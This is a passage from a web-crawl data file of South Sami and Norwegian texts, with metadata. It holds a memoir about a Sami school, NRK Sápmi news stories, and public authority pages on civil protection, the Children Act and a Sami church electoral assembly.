böötin jïh sïjhtin saemieskuvlem vuejnedh. Dellie jïjnjh jåasoeh gyhtjelassh åadtjoejimh, jeenjesh idtjin daejrieh gænnah saemieh Trøøndelagesne årroejin.\nTuhtjim hijven saemieskuvlesne aelkedh. Lij mij akt jeatjah aktene skuvlesne årrodh gusnie jïjnjh saemien learohkh, goh saemien unnebelåhkosne årrodh aktene nöörjen skuvlesne. Nov lij joekoen hijven dååjredh mijjieh dan jïjnjh saemienmaanah ektesne, dellie boerehkelaakan domtimh. Aaj luste maanajgujmie åahpenidh dubpede Elgåeste åerjielisnie. Dellie voestes aejkien vueptiestimh dah ovmessie smaaregh åarjelsaemien gïelesne. Mijjieh goh åerpenh sjïdtimh, jalhts manne jïh mov åerpenh idtjin internaatesne årroeh, dle limh ektesne eejehtallemisnie juktie mijjieh internaaten lïhke årroejimh.\nAalkoelistie dle saemieskuvle jïjtse internaatem utni, bene ij jïjtse skuvlem. Voestesieresne lij akte jïjtse saemien smaaveskuvleklaasse Vinjen skuvlesne. Bene mijjieh mah lin 4.- 6. klaassesne aktene sïejhme daaroen klaassesne veedtsimh, jïh dle klaassem leehpimh gosse edtjimh tæjmoeh utnedh saemien gïelesne jïh kultuvresne. Easkah gosse 7. klaassesne veedtsim, dle 4.- 6. klaasse aaj jïjtse saemien klaassine sjïdti, bene idtjim manne åadtjoeh dam dååjredh.\nJaepien 1976 dle saemieskuvle Vinjen skuvlem leehpi jïh Folkets hus leejji, jïh jaepien 1977 raejeste skuvle jïjtse gåetiem åadtjoeji. Dellie tjidtjebe rektovrinie sjïdti. Bene dellie manne joe skuvlem galhkeme, juktie im manne desnie vaadtseme. Saemieskuvle lij jïh annje lea, akte maanaskuvle.\nNoereskuvlem veedtsimh Snåasen noereskuvlesne. Mijjieh limh aktene sïejhme daaroen klaassesne, tjoerimh ajve klaassem laehpedh gosse edtjimh saemien, vytnesjimmiem jïh kultuvredaajroem utnedh. Såemies tæjmoeh 0. tæjmojne utnimh, jallh laavadahki gosse doh mubpieh learohkh eah lin skuvlesne. Åadtjoejimh aaj dåeriedidh gosse saemieskuvle edtji leekedæmman jallh jeatjah sjïere öörnedimmiej gåajkoe, bene dellie tjoerimh pryövenassh mænngan vaeltedh mejtie doh jeatjah learohkh åtneme mearan mijjieh limh båarhte.\n|Åarjel-saemiej skuvle, 2004|\n(Guvvie: Svein Lund)\nDan aejkien gaajhkh learohkh ånnetji saemien meehtin gosse skuvlem eelkin, ij guhte idtji maam maehtieh, bene dah ellen jeanatjommes sån daaroen goh sov nænnoesommes gïelem utnin. Sinsitnine dle learohkh jeenjemes daaroestin, bene naa jïjnjh saemien baakoejgujmie.\nSaemienööhpehtimmesne idtjimh dan jïjnjh gærjah utnieh viehkine. Ij akte trygkesovveme gærjah gænnah. Mijjieh stensijlh nåhtadimh mah mænngan gærjine Lohkede saemien sjïdti. Seamma gærja gaajhkine klaassine åtnalgi. Mijjieh dejtie voestes stuhtjide dan gellie aejkieh lohkimh juktie minngemosth dle dejtie åejjesne meehtimh. Voestesieresne dle tjidtjebe aajnehke lohkehtæjja saemien gïelesne, jïh manne tjidtjebem lohkehtæjjine utnim gaajhki jaepiej, 4. klaasseste 9. klaassese. Dïhte gaajh jïjnjem ööhpehtæmman jïjtje darjoeji, jïh mænngan dam gaervies learoegærjine evtiedi. Lissine aaj jïjnjh tæjmoeh mijjen kultuvren jïh histovrijen bïjre utnimh, dovne gïeletæjmojne bene aaj goh jïjtse faage. Saemien vytnesjimmiem aaj utnimh.\nDellie aktem jaepiem veedtsim Røros yrkes-skuvlesne, vaarjoegåaromem lïerim. Dan mænngan Oslose vöölkim edtjim lohkedh, bene dellie nåajsan sjïdtim jïh ånnetji mænngan dle orrijim. Geellebe, Jarle Jonassen lea båatsoesaemie Røørosen dajveste, Gåebrien sïjtesne. Mijjieh gåetiem bigkimh Praahken lïhke jïh desnie aaj bovtsigujmie gïehtelamme mænngan. Dïhte aaj eadtjohke orreme politihken barkosne, dovne NBR'sne jïh Saemiedigkesne, gusnie meatan orreme aalkoelistie.\nTjidtjebe tuhtji lij vihkeles kultuvrem vååjnesasse buektedh gïeleööhpehtimmesne jïh learoegærjine. Dannasinie guvviedi disse maam tjeeli, guvvieh mah saemien byjresem vuesiehtin. Bene tjidtjebe ij lij naan tjiehpies guvviedæjja, juktie stilli naan jeatjebh buerebelaakan guvviedidh dejnie trygkeme learoegærjine.\nSaemienööhpehtimmie lij dovne learoehkidie saemieskuvlesne, jïh maajhööhpehtimmien tjïrrh jeatjah skuvlide. Eelkim maajhööhpehtimmine akten learoehkasse gåalmadinie klaassesne, jïh idtjim dan jïjnjem utnieh viehkine. Juktie lij naa jïjnjh dovne teknihkeles jïh pedagogeles haestemh. Mænngan aaj learohkem åadtjoejim voestes klaassesne. Dellie tjoerim aaj ikth asken learohken skuvlese vuejedh juktie manne åadtjoejim learohkem råakedh. Jis im dam dorjeme dle im vïenhth daate gåaradamme.\nSeamma aejkien saemien lohkim Upmejen universiteetesne, jïh C- jïh D-daltesidie veeltim. Golme mijjeste studentijste aaj lohkehtæjjine A-daltesisnie. Nov amma dïhte fer jïjnje sjïdti seamma aejkien.\nJaepien 2006 tjidtjebe sealadi jïh jaepien mænngan Snåaseste juhtim. Dellie eelkim oktebisnie jarkoestæjjine barkedh, jïh baalte lim lohkehtæjjine Upmejen universiteetesne bielietïjjen. Bene gosse oktebisnie jarkoestæjjine barkeme aktem jaepiem, dle tuhtjim lij buerebe orreme gïeline barkedh daajroes baalhkine jïh barkoetïjjine, juktie dellie syökim jïh barkoem åadtjoejim goh gïelekonsulente Snåasen tjïeltesne. Daate barkoe tseegkesovvi gosse Snåase jaepien 2008 raejeste meatan sjïdti reeremedajvesne saemien gïelide.\nFer soejmilaakan jåhta åarjelsaemien learoevierhtieh darjodh. Fer vaenie mah maahtoem utnieh learoevierhtieh darjodh, jïh jeenjesh dejstie lohkehtæjjijste ajve bieliejaepien åarjelsaemien lohkeme. Mov mïelen mietie dle nåake laavenjostoe dej skuvli gaskem mah ööhpehtieh åarjelsaemien gïelesne gosse lea learoevierhtiej bïjre.\nEará artihkkalat Sámi skuvlahistorjá 5-girjjis","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/skuvla.info\/skolehist\/ellenbull-s.htm","date":"2018-03-20T17:03:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647519.62\/warc\/CC-MAIN-20180320170119-20180320190119-00203.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999992847442627}","num_words":923,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie akte almetjeveeljeme åårgane saemide Nöörjesne. 39 tjirkijh veeljesuvvieh 7 veeljemegievlijste fïerhten njealjeden jaepien. Saemiedigkie edtja saemiej politihkeles sijjiem nænnoestehtedh jïh saemiej ïedtjh skreejredh Nöörjesne, viehkiehtidh guktie saemieh seammavyörtegs jïh seammaligke gïetedimmiem åadtjoeh, jïh sjïehteladtedh guktie saemieh maehtieh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nHva lette du etter? Din tilbakemelding hjelper oss ålage bedre nettsider.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/saemiedigkie.no\/Om-Sametinget","date":"2018-03-17T22:21:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645362.1\/warc\/CC-MAIN-20180317214032-20180317234032-00267.warc.gz","language":"sma","language_score":0.9999995232,"language_script":"Latn","minhash_cluster_size":32,"top_langs":"{\"sma_Latn_score\": 0.9999995231628418}","num_words":57,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åvtehke Stoerredigkien kultuvrekommittesne Svein Harberg (H) Saemien Sijten gåajka mïnneme .Dihte daan aavone dahkoe åadtjoeji båetedh.\n– Daelie manne åadtjoem jijtje Saemien Sijtem vuejnedh. Daate lea joekoen kultuvre byjrese. Daate gåårtjege jih nåake gåetie daelie. Daate orre gåetie sjædta joekoen vihkeles jeahta Harberg. Daate mov dïedte sjædta jih daam buektiehtidh.\nStoerre ïedtje\nSaemien Sijte gellie politihkerh gaavnesjamme mij daam seamma gåetiem vuajneme. Saemien Sijten åejvie Birgitta Fossum tuhtjie vihkeles båetieh.\n–Daate lea vihkeles diekie båetieh. Mijjieh ïedtjege fierhten aejkien sjidtebe jih daan mijjien aamhtesen åvteste tjoeveribie tjeebredh. Håhkoem åtnam beetneh- vierhtieh joe tjaaktje budsjedtesne båata, jis ij leah daam, dellie tjoeveribie orre soejkesjem åadtjodh jeahta Fossum.\nVaestiedasse\nDaelie edtja Svein Harberg daan sov paartijene rååresjidh jih aaj dah jeatja partije ektesne raarastalledh daan bijre. Gåessie vaestiedasse båata?\n– Daelie tjuerieh reeremissnie jih departementesne jih stoerredigkesne raarastalledh. Vihkeles daelie gaajhk meatan jih daan bijre laatjkedh. Manne edtjem pryøvedh jih daalvan vaestiedidh jeahta Harberg.\nOrre soejkesje\nSaemien Sijten, orre gåetiem ussjedamme bigkedh dennie Horjemstangen, Snåasesne dihte stoerre jih dovres. Snåasen tjïelten åvtehke Vigdis Hjulstad Belbo tuhtjie vihkeles Svein Harberg dïedtem saemien Sijten bijre vaalta.\n– Guktie daelie dihte gåetien soejkesje lea, dellie guarkeme tuhtjieh daate dovrehke sjædta. Daelie tjoeverieh daam soejkesjem vihth giehtjedidh jih kanne maam jarkoestidh.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.nrk.no\/sapmi\/orre-iedtje-saemien-sijten-bijre-1.11855389","date":"2018-03-24T11:05:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650188.31\/warc\/CC-MAIN-20180324093251-20180324113251-00611.warc.gz","language":"sma","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000001072883606}","num_words":202,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dihte lea gånkese, gøøkten aejkien joejkeme, Riddu Riddu feestivalesne jih kultuvresjïelem åadtjeme. Daelie edtja dihte jojkeles nïejte Marja Helena Fjellheim Mortesson Taiwanse vuelkedh. Daate lea aalkoe-almetje feestivale \"Migration Music Festival\" Taipei, Taiwansne. Guktie daelie dutnan Marja domtoe?\n– Gåessie Riddu Riddu, munnjan ringki jih faali, edtjem åadtjodh Taiwanse dåeriedidh, dellie dallegh jeehtim Jaavoe!. Manne daan aavoedem. Vuelkebe joe duarstan daan våhkan.\nBåeries vuelie, jih vuelie jïjtjedh vuekien mietie.\nMortensson tuhtjie daate gïeltegs sjædta.\n–Edtjem båeries vuelieh jih dah mov jïjtjen vuelieh joejkedh. Ånnetji geerve sjædta jih vuelide jeatja gïelese buerkiestidh. Ij leah dihte aelhkie. Daejtie vuelide edtjieh Kinesiske gïelese jarkoestidh jeahta Mortensson. Håhkoem åtnam, jeatja aalkoe -almetjh mov musihkem guarkoeh.\nVæjkele jih eadtjohks nïejte.\nKaroline Tveitnes Trollvik, åejvie Riddu Riddusne tuhtjie Marja H Fjellheim Mortensson sjiehteles almetje dåeriedidh.\n– Marja lij daan jaepien, Riddu Riddun, noere tjiehpiedæjja. Dihte daan joekoen gïelem åtna. Dihte dåajmijes-laakan ussjede daan joejken jih musihken bijre. Mijjieh tuhtjebe dihte lea sjiehteles almetje jih saemien musihkem jih kultuvrem vuesiehtidh.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.nrk.no\/sapmi\/joejkeles-aarjelsaemien-niejte-1.11959401","date":"2018-03-23T02:28:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648113.87\/warc\/CC-MAIN-20180323004957-20180323024957-00377.warc.gz","language":"sma","language_score":0.9998598099,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998598098754883}","num_words":160,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Muay thai-mïestere, gïelebarkije, ingenjööre, tjaelije, aehtjie jih öövre murreds kaarre. Numhtie sïjhtem Joseph Fjellgrenen (35) bijre soptsestidh.\nIm manne daejrieh gännah mejtie manne naakenem goh Joseph aerebi råekeme, jih manne öövre bååhperem guktie dïhte gaajhke buektehte!\nGïeletjiehpijes kaarre\nAarkebiejjiesne Joseph saemiedigkesne gïelebarkijine barka. Dovne åarjelsamiengïeline jih noerhtesaemiengïeline, juktie Joseph gåabpatjahkh gïelide maahta.\nBene dïhte hov maahta jeatjah ovmessie gïelh aaj.\nVuesiehtimmien gaavhtan jis guessieh saemiedägkan båetieh v.g Spaniaste, dle Joseph pråvhka toelhkestidh.\nJoseph Fjellgren\nJis dah mannem gihtjieh jis maahtam saadth maam barkedh, dle provhkem barre jiehtedh jaavoe, dam maahtam.\nÖövre saavreme almetje\nJoseph gaske vijhte jih govhte biejjieh våhkosne saavra. Gellie aejkieh biejjesne. Jeenjemes pråvhka voejedh jih viktijgujmie saavredh.\nDïhte pråvhka aaj roehtedh, mohte männgan juelkiem aktene muay thai gaahtjemisnie leerhkehti idtji maehtieh juelkiem riekteslaakan nuhtjedh. Dellie hijven voejedh.\n– Hijven mov juelkese aaj, juktie ij leah dan löövles, Fjellgren buerkeste.\n2009 Fjellgren svïenske mïestere muay thaiesne sjidti. Bene daelie ij saavra ihke edtja muay thaiesne gaahtjedh, daelie saavra ihke domtoe tjuara saavredh jih lea ussjedamme akte triathlongaahtjemisnie meatan årrodh: Iron man.\nJoseph Fjellgren\nManne tuhtjem löövles treanadidh, jis ij edtjh gaahtjedh.\nGeerve luejhtedh\nLäjhkan mejtie Joseph ij lea ussjedamme aelkedh gaahtjedh vihth, ij lïjhke maehtieh muay thaiem luejhtedh. Eejehtimmesne Joseph ööhpehtimmie muay thaiesne maanide jih noeride åtna.\nTjihtesegärja tjaaleme\nJoseph gellie täjmoeh våhkosne saavra, bene tijjie gujht gååvnese jeatjah aatide aaj. Vuesiehtimmien gaavhtan dïhte akte tjihtesegärja tjaaleme: Föörhkedem, tjearoem.\nTjihtesegärjam lea smaaregen mietie tjaaleme, juktie Joseph säjhta åarjelsmaaregem åarjelsamiengïelesne vaarjeldih.\nGåetesne murriedih\nManne gihtjem maam pråvhka eejehtimmesne darjodh, gosse ij saavra jallh tjaala? Guktie lïegkeste?\nDïhte soptseste saavreme lea akte lïegkestimmievuekie, dle hijven domtoe.\nBene dihte lyjhkoe aaj vijredh, ålkone årrodh jallh bienjine vaetsedh.\nJih daelie gosse aehtjie sjidteme, dle hävvi öövre hijven gåetesne murriedidh!","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.nrk.no\/sapmi\/gieletjiehpijes-saavreme-almetje-1.12031026","date":"2018-03-17T19:04:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645280.4\/warc\/CC-MAIN-20180317174935-20180317194935-00203.warc.gz","language":"sma","language_score":0.9999843836,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999843835830688}","num_words":284,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemie (sydsamiska)\nStrålejearsoevoeten reereme lea reerenassen nueleln jïh Byjreskedepartementen dïedtedajvesne. Mijjieh ektie dïedtem utnebe dajvine gijhkehtsvaarjelinie jïh jarngejearsojne. Reeremen barkoe lea eevtiedidh jïh öövtiedidh guktie almetjh jïh byjreskem gorredidh mij båata ovnohkens gijhkemen gaavhtan daelie jïh båetije beajjan.\nMijjen luvnie medtie 300 almetjh barkeminie maahtojne dajvine goh maelmiedaajroe, vuekiedaajroe, juridigke, ekonomije jïh kommunikasjovne.\nMijjieh abpe tijjem barkeminie barkoem öövtiedidh bueriedidh nænnoestimmie laavenjassijste guktie kvaliteje, byjreske jïh barkoebyjreske lea.\nRijhkebiejjie jïh reerenasse Strålejearsoevoeten reeremen barkoen jïh budsjedten bïjre nænnoste, jïh goh jeatjebh reeremh mijjieh jijtje aajne aamhtesi bïjre nænnoestibie.\nStrålejearsoevoeten reeremen budsjedte medtie 400 miljovnh krovnah jaepesne. Beetnegh barkose båata jijnjemes maaksojste jïh dovne aaj skaehtijste,\nBarkoen åevie lea lijkie generaledirektöre Mats Persson gie reereme veeljeme.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.stralsakerhetsmyndigheten.se\/andra-sprak\/aarjelsaemie-sydsamiska\/","date":"2018-03-22T17:50:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647901.79\/warc\/CC-MAIN-20180322170754-20180322190754-00679.warc.gz","language":"sma","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 1.0000057220458984}","num_words":113,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Heerreden siebriedahkejearsoesvoete\nAbpe soejkesjimmie edtja siebriedahkejearsoesvoetem eadtjoestidh, mij gaskem jeatjah soejkesje- jïh bïgkemelaakesne tjåådtje. Goh voenges soejkesjefaamoe dle tjïelth dïedtem jïh reaktam utnieh nyöjhkedh arealh åtnose vaaltasuvvieh, mah maehtieh vaahrine årrodh. Naemhtie dovne sjïere bïgkemeråajvarimmide goh stuerebe soejkesjh.\nSiebriedahkejearsoesvoete tjuara tjïelke veeljemh buektedh\nRïektesisnie dle daate sæjhta jiehtedh gåetiedajvh jïh institusjovnh eah tjoerh dajvide bïejesovvedh gusnie vaahra dulvie, vyjreme jallh jeatjah heannadimmieh sjidtieh, mah maehtieh vaahrine årrodh jieliedasse jïh healsose. Byöroe aaj alternatijve faasseldimmiegeajnoeh årrodh jovkemestjaetseste jïh straejmeste jis åejviegeajnoeh tsoepkenieh. Gosse orre geajnoeh tseegkesuvvieh dle edtja gåetiedajvh, skuvlh jïh jeatjah institusjovnh bööremeslaakan vaarjedidh.\nTjïelten ROS-analyse nænnoestamme laaken tjïrrh\nVaahra- jïh prååsehkevoeteanalysh (daaroen ROS-analyser) åtnasuvvieh juktie goerehtalledh man stoerre nuepieh, jïh mah nuepieh gååvnesieh jis mij akt ovvaajteles heannede aktene dajvesne. Maahta vuesiehtimmien gaavhtan årrodh dulvie jallh straejmietsoepkene. Akte ållesth ROS-analyse edtja våaroemisnie årrodh tjïelten barkose siebriedahkejearsoesvoetine.\nSjyöhtehke svaalhtesh:\n- soejkesje- jïh bïgkemelaake\n- laake ruffien 25.b 2010 nr. 45 om kommunal beredskapsplikt, sivile beskyttelsestiltak og Sivilforsvaret (sivilbeskyttelsesloven) (tjïelten gaerviesvoetediedten bïjre, sivijle vaarjedimmieråajvarimmieh jïh Sivijlevaarjelimmie (sivijlevaarjelimmielaake))\n- mieriedimmie mïetsken 22.b. 2011 nr. 894: Forskrift om kommunal beredskapsplikt (Mieriedimmie tjïelten gaerviesvoetedïedten bïjre)\n- kgl.res. goevten 17.b. 2006: Atomberedskap – sentral og regional organisering (Atovmegaerviesvoete - staaten jïh regijovnale öörnedimmie)","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.fylkesmannen.no\/sma\/Buskeruden\/Siebriedahkejearsoesvoete-jih-gaerviesvoete\/Heerreden-siebriedahkejearsoesvoete\/","date":"2018-04-23T01:56:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945669.54\/warc\/CC-MAIN-20180423011954-20180423031954-00080.warc.gz","language":"sma","language_score":0.9999853373,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 0.9999853372573853}","num_words":187,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lea gaaktsede aejkien daate «Villkvinne » tjåanghkoe sjædta. Dah golme minngemes jaepieh Musserisnie tjåangkanamme.\nBohkedh, gieries-voete –aajngenasse.\nTjoeveribie nyjsenæjjan jih ålman kråahpide vuavtasjidh. Dihte ïedtjije nyjsenæjja Hege Dalene Aarboerteste, jeahta.\n–Daate lea iemeles jih aehpies aamhtese. Mijjien jielemissnie gieres-voete. Nyjsenæjjide baersieldimmie jih suvhteme. Seksualitete jih jieleme faamoe seamma vihkeles faamoe gaajhkide, Dalene jeahta.\nRusske nåejtie.\nDaan jaepetje aamhtese, jijnjh ov-messie guessieh gåtjkoehtamme.\n– Vihkeles mijjese Russlanten, aalkoalmetji gujmie laavenjostedh. Akte tjiehpiedæjja jih nåejtie Russlanteste Katarzyna Pastuszak båata jih aaj dihte noerhte saemien nåejtie Robert Vars-Gaup.\nMij datnem ïedtjeldehta jih dagkeres « Villkvinne» tjåanghkoem øørnedh?\n–Lyjhkem jih jijnjh barkoe gujmie gïehtelidh. Tuhtjem aaj luste alkoalmetji gujmie barkedh jih aaj mænngan gaavnedidh. Åadtjoem jijnjh maehteles almetjh råakedh, dagkeres barkone, Dalene jeahta.\nMejtie jijnjh almetjh daan jaepien båetieh?\nDaate lea dovres tjåanghkoe gusnie tjoara jijtje maeksedh. Jienebh son båateme jis liehtebe orreme. Tjijtjeluhkien almetjh jeahteme båetieh. Daate lea øøvre sjiehteles onne tjåanghkoe, Dalene jeahta.\nDaate « Villkvinne» tjåanghkoe aalka golken 24.b. Musserisnie.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.nrk.no\/sapmi\/seksualitete-jih-gieries-voete-1.12002386","date":"2018-04-19T14:49:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936969.10\/warc\/CC-MAIN-20180419130550-20180419150550-00525.warc.gz","language":"sma","language_score":0.9999890327,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999890327453613}","num_words":156,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maanalaake\nMaanalaake lea maanaj jïh noeri bïjre nuelelen 18 jaepieh, jïh eejhtegi dïedth maanide stuvrehte - jïh maanaj reaktah eejhtegidie. Maanalaakesne gaskem jeatjah nænnoestimmieh vihtiestimmien bïjre gie maanan aehtjie, eejhtegedïedte jïh biejjieladtje hokse, dovne maanaj jïh eejhtegi vååksjedimmiereakta jïh eejhtegi dïedte sijjen maanaj jieliemassen åvteste maeksedh.\nJienebh dejstie nænnoestimmijste reaktah jïh dïedth stuvrehtieh gosse eejhtegh eah ektesne årroeh, v.g. jis separeradamme jallh juakadamme. Jis ektiejieleme tsoepkene dle eejhtegh jïjtje meaehtieh latjkoeh darjodh eejhtegedïedten, årromesijjien jïh vååksjedimmien bïjre, jïh gie vuelkememaaksojde maaksa vååksjedimmine. Dastegh eejhtegh eah sïemes sjïdth, dle fïereguhte dejstie maahta aamhtesem dåapmestovlese buektedh mij sjæjsjalimmiem vaalta. Åvtelen aamhtesem dåapmestovlese vaalta, dle eejhtegh tjuerieh deanahtæmman båetedh. Fuelhkievaarjelimmiekontovrh maehtieh gyhtjelassh deanahtimmien bïjre vaestiedidh.\nEkonomeles tsiehkieh eejhtegi gaskemsh\nDïhte ekonomeles tsiehkie eejhtegi gaskem lea uvtemes akte privaateriekteles tsiehkie. Gosse vuelkememaaksjode vååksjedimmine aervede, edtja åajvahkommes maaksojde, baalhkaj stoeredahken mietie joekedidh dastegh eejhtegh eah akten jeatjah joekedimmien bïjre seamedh. Fylhkenålma maahta joekedimmiem vuelkememaaksojste nænnoestidh jis akte jeatjah joekedimmie goh åejvienjoelkedasse lea buerebe. Vuesiehtimmien gaavhtan jis stoerre joekehts baalhkine eejhtegi gaskem, jïh stoerre vuelkememaaksoeh.\nFylhkenålma maahta latjkoeh vïedteldihkie darjodh\nFylhkenålma maahta tjaaleldh latjkoem eejhtegedïedten, vihties årromesijjien, vååksjedimmien jïh vuelkememaaksoen bïjre juridihkeles viedteldihkie darjodh, (åejvieladtji reaktafaamoe). Gåabpegh eejhtegh tjuerieh sïemes årrodh reereles gïetedimmien bïjre Fylhkenålman luvnie. Jis maana bijjelen 15 jaepien båeries, dle Fylhkenålma maahta aamhtesem gïetedidh jalhts ajve akte eejhtegijstie dam sæjhta. Eejhtegh maehtieh aaj aamhtesem dåapmestovlese buektedh.\nEejhtegh mah eah eejhtegedïedtem utnieh , læjhkan reaktam utnieh maanalaaken mietie, bïevnesh maanan bïjre åadtjodh maanagïerteste, skuvleste, healsoe- jïh hoksedïenesjistie jïh polliseste. Fylhkenålma lea klååkemesuerkie jis nyöjhkesåvva dagkerh bïevnesh åadtjodh.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Maanah-jih-eejhtegh\/Maanalaake\/","date":"2018-04-22T06:26:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945497.22\/warc\/CC-MAIN-20180422061121-20180422081121-00085.warc.gz","language":"sma","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"sma_Latn_score\": 1.0000076293945312}","num_words":249,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sametingsråd Mikkel Eskil Mikkelsen gratulerer Kirkemøtet, som 16. april enstemmig vedtok opprettelse av et samisk kirkelig valgmøte, skriver Sametinget i en pressemelding.\nValgmøtet skal velge samiske representanter til bispedømmerådene i Nord-Hålogaland og Sør-Hålogaland bispedømmer og nominere medlemmer til Samisk kirkeråd. Samisk kirkelig valgmøte vil samles hvert fjerde år i forkant av kirkevalgene, første gang i forkant av Kirkevalget i 2019.\n– Det er en tydelig retning som pekes ut av Kirkemøtet. Det er et fokus på å utvikle samisk demokrati i den Norske Kirke. Kirken skaper også en arena for samisk kirkeliv hvor aktuelle spørsmål og tema kan bli drøftet, samtidig som at valgmøtet har et klart mandat til å foreslå samisk representasjon i kirkelige utvalg, sier Mikkelsen.\nI revideringen av ordningen for utpeking av biskoper i Den norske kirke vedtok Kirkemøtet dessuten at Samisk kirkeråd får stemmerett ved rådgivende avstemning på biskop i Nord-Hålogaland, Sør-Hålogaland, Nidaros, Hamar, Møre og Oslo bispedømmer.\n– Særlig gledelig er det å se at spørsmålene om medbestemmelse bli i varetatt. Det er en steg videre at samisk kirkeråd får en rolle i utnevning av biskop, sier Mikkelsen.\nSametingsråd Mikkelsen gratulerer også Sara Ellen Anne Eira, som på Kirkemøtet 14. april ble gjenvalgt som rådsleder for to nye år.\nVihkeles nænnoestimmie Gærhkoetjåanghkoste\nSaemiedigkieraerie Mikkel Eskil Mikkelsen Gærhkoetjåanghkoem læhkohte, mij voerhtjen 16.b. akteraeresne nænnoesti aktem saemien gyrhkeles veeljemetjåanghkoem tseegkedh.\nVeeljemetjåanghkoe edtja saemien tjirkijh veeljedh bïspedajveraeride Noerhte-Hålogalaanten jïh Åarjel-Hålogalaanten bïspedajvine, jïh lïhtsegh Saemien gærhkoeraaran nammoehtidh. Saemien gyrhkeles veeljemetjåanghkoe sæjhta tjåanghkenidh fïerhten njealjeden jaepien gærhkoeveeljemi åvteli, jïh voestes aejkien Gærhkoeveeljemen 2019 åvtelen.\n– Daate akte tjïelke otnjege maam Gærhkoeraerie nænnoste. Daate akte fokuse saemien demokratijem evtiedidh Nöörjen Gærhkosne. Gærhkoe aaj aktem sijjiem sjugnede saemien gærhkoejieliedasse gusnie maahta sjyöhtehke gyhtjelassh jïh teemah digkiedidh, seamma tïjjen goh veeljemetjåanghkoe aktem tjïelke mandaatem åtna saemien tjirkijh gyrhkeles moenehtsinie raeriestidh, Mikkelsen jeahta.\nRevideradimmesne öörnegistie mij bïsph Nöörjen gærhkose nammohte, Gærhkoeraerie aaj nænnoesti Saemien gærhkoeraerie steemmereaktam åådtje raeriestimmeles steemmadimmesne bïspese Noerhte-Hålogalaanten, Åarjel-Hålogalaanten, Nidarosen, Hamaren, Møren jïh Oslon bïspedajvine.\n– Joekoen sjollehke lea vuejnedh gyhtjelassh meatannænnoestimmien bïjre gorresuvvieh. Daate akte sïlle åvtese gosse saemien gærhkoeraerie aktem råållam åådtje nammoehtimmesne bïspeste, Mikkelsen jeahta.\nSaemiedigkieraerie aaj Sara Ellen Anne Eiram læhkohte mij Gærhkoetjåanghkosne 